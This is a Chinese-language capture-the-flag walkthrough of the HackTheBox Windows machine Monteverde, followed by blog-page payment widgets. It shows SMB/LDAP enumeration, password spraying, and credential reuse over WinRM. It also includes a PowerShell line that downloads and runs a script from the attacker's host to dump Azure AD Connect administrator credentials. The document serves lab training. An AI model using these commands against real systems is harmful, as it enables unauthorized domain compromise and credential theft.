No.188-HackTheBox-windows-Monteverde-Walkthrough渗透学习

**

HackTheBox-windows-Monteverde-Walkthrough

**
靶机地址:https://www.hackthebox.eu/home/machines/profile/223
靶机难度:中级(4.3/10)
靶机发布日期:2020年3月23日
靶机描述:
Monteverde is an easy Windows machine that features Azure AD Connect. The domain is enumerated and a user list is created. Through password spraying, the SABatchJobs service account is found to have the username as a password. Using this service account, it is possible to enumerate SMB Shares on the system, and the $users share is found to be world-readable. An XML file used for an Azure AD account is found within a user folder and contains a password. Due to password reuse, we can connect to the domain controller as mhope using WinRM.
Enumeration shows that Azure AD Connect is installed. It is possible to extract the credentials for the account that replicates the directory changes to Azure (in this case the default domain administrator).

作者:大余
时间:2020-08-19

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.172…
在这里插入图片描述
可看到nmap开了很多端口,其中有端口53(DNS),389(LDAP)和445(SMB)等…和上一台一样开始枚举LDAP…

在这里插入图片描述
命令:enum4linux -a 10.10.10.172
枚举获得了用户名信息…
在这里插入图片描述
命令:smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs
这里通过crackmapexec测试,发现用户名和密码是一致的…利用smbmap查看了smb下有什么信息…
发现users,继续枚举发现了目录下存在azure.xml文件,可能存在azure漏洞利用了…

在这里插入图片描述
命令:smbclient -U SABatchJobs //10.10.10.172/users$ SABatchJobs -c 'get mhope/azure.xml azure.xml'
下载到本地,打开发现了passwd信息…

在这里插入图片描述
由于该配置文件位于mhope的目录中,这里猜想用户就是mhope…
尝试利用winrm成功登录…获得了user_flag信息…

在这里插入图片描述
由于前面遇到了azure.xml信息,直接枚举了mhope用户群组,发现了*Azure Admins…
在这里插入图片描述
查看到了很多应用程序…
https://blog.xpnsec.com/azuread-connect-for-redteam/ —如何利用Azure漏洞
Azure漏洞较严重,可以直接获得用户名密码信息…
在这里插入图片描述
命令:iex(new-object net.webclient).downloadstring('http://10.10.14.2/Azureshell.ps1')

https://myitworld.azurewebsites.net/2015/12/14/access-sql-server-integrated-security-different-windows-credentials-powershell/ —EXP
https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1 --EXP
这里的poc谷歌上很多…也很多解释了Azure exploit的方法…感兴趣的多了解下…
直接利用脚本获得了administrator用户名密码…

在这里插入图片描述
利用winrm登录了administrator用户后,获得了root_flag信息…

好久没打windows渗透了,回来打两台发现挺简单的…
两台都是smb和ldap中信息收集然后提权…

由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值